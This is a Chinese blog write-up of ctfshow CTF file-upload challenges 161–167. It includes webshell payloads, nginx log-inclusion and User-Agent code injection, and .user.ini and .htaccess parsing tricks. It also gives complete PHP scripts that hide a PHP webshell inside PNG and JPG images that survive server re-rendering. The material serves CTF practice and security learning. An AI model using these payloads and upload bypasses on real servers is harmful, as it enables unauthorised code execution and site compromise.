ctfshow 文件上传161-167


151-160: https://blog.csdn.net/qq_52671379/article/details/123977585

web161(关键字过滤,日志包含)

过滤了大部分关键字
可以利用日志包含绕过,图片内容
3duan.png

GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>

因为log被过滤了。所以用拼接绕过
添加了文件头的检查,所以加入内容GIF89a绕过
思路:
.user.ini配置文件的利用
日志包含绕过
过滤system,反引号代替shell执行
步骤
先上传.user.ini.png文件(因为png为合法文件,之后抓包之后再修改文件名为.user.ini.)
然后再上传shell文件3duan.png
抓包修改ua头信息

User-Agent: <?=`tac ../f*` ?>

在这里插入图片描述访问/upload/index.php即可得到flag

web162 163(条件竞争)

没做出来,还在看
在这里插入图片描述在这里插入图片描述

web164(PNG图片二次渲染绕过)

PNG图片二次渲染配合文件包含漏洞原理:
将一句话木马插入到网站二次处理后的图片中,也就是把一句话插入图片在二次渲染后会保留的那部分数据里,确保不会在二次处理时删除掉。这样二次渲染后的图片中就存在了一句话,在配合文件包含漏洞获取webshell。
直接在图片中插入一句话会被删除掉,二次渲染会把上传到服务器的图片的代码改变,
利用脚本构造出一个png木马图片

<?php
$p = array(0xa3, 0x9f, 0x67, 0xf7, 0x0e, 0x93, 0x1b, 0x23,
           0xbe, 0x2c, 0x8a, 0xd0, 0x80, 0xf9, 0xe1, 0xae,
           0x22, 0xf6, 0xd9, 0x43, 0x5d, 0xfb, 0xae, 0xcc,
           0x5a, 0x01, 0xdc, 0x5a, 0x01, 0xdc, 0xa3, 0x9f,
           0x67, 0xa5, 0xbe, 0x5f, 0x76, 0x74, 0x5a, 0x4c,
           0xa1, 0x3f, 0x7a, 0xbf, 0x30, 0x6b, 0x88, 0x2d,
           0x60, 0x65, 0x7d, 0x52, 0x9d, 0xad, 0x88, 0xa1,
           0x66, 0x44, 0x50, 0x33);



$img = imagecreatetruecolor(32, 32);

for ($y = 0; $y < sizeof($p); $y += 3) {
   $r = $p[$y];
   $g = $p[$y+1];
   $b = $p[$y+2];
   $color = imagecolorallocate($img, $r, $g, $b);
   imagesetpixel($img, round($y / 3), 0, $color);
}

imagepng($img,'./png2.png');
?>

生成一个插入一句话的png文件
直接上传木马图片
访问上传成功的图片,

get:&0=system
post:1=tac fl*

ctrl+s下载得到flag
在这里插入图片描述

web165(jpg二次渲染绕过)

kali利用脚本合成jpg木马图片

$miniPayload = "<?php system('tac f*');?>";

jpgexp.php

<?php
//用法  php exp.php a.jpg

    $miniPayload = "<?php system('tac f*');?>";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php <jpg_name.jpg>');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }

?>


语法

php jpgexp.php jpg2.php

kali报了一个错误,解决方法sudo apt-get install php-gd
在这里插入图片描述jpg图片不要改后缀,用不了
在这里插入图片描述直接上传合成后的图片,访问
最后换着命令试了很多次也没成功

web166(.zip)

不清楚他检查什么部分,只能先后缀名的爆破,发现可以传zip文件
内容不做限制
上传.zip文件,内容为一句话木马
在这里插入图片描述之后没思路,木马也不知道怎么执行,大佬说文件包含,没执行成功,有点懵
在这里插入图片描述最后直接蚁剑连接http://9458cfba-7ce8-4b5a-8512-e5b20a5b126a.challenge.ctf.show/upload/download.php?file=78a99ef886a6d085f20b0dfad862ca92.zip
在这里插入图片描述

web167(.htaccess)

一个提示
在这里插入图片描述
那应该和apache有关,主要利用.htaccess进行绕过了
一、首先上传.htaccess
内容
AddType application/x-httpd-php .jpeg //将.jpeg后缀的文件解析成php
方法:选一张图片抓包更改文件名(只可以上传jpg文件),内容
在这里插入图片描述

二、上传图片一句话
在这里插入图片描述
访问
在这里插入图片描述

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值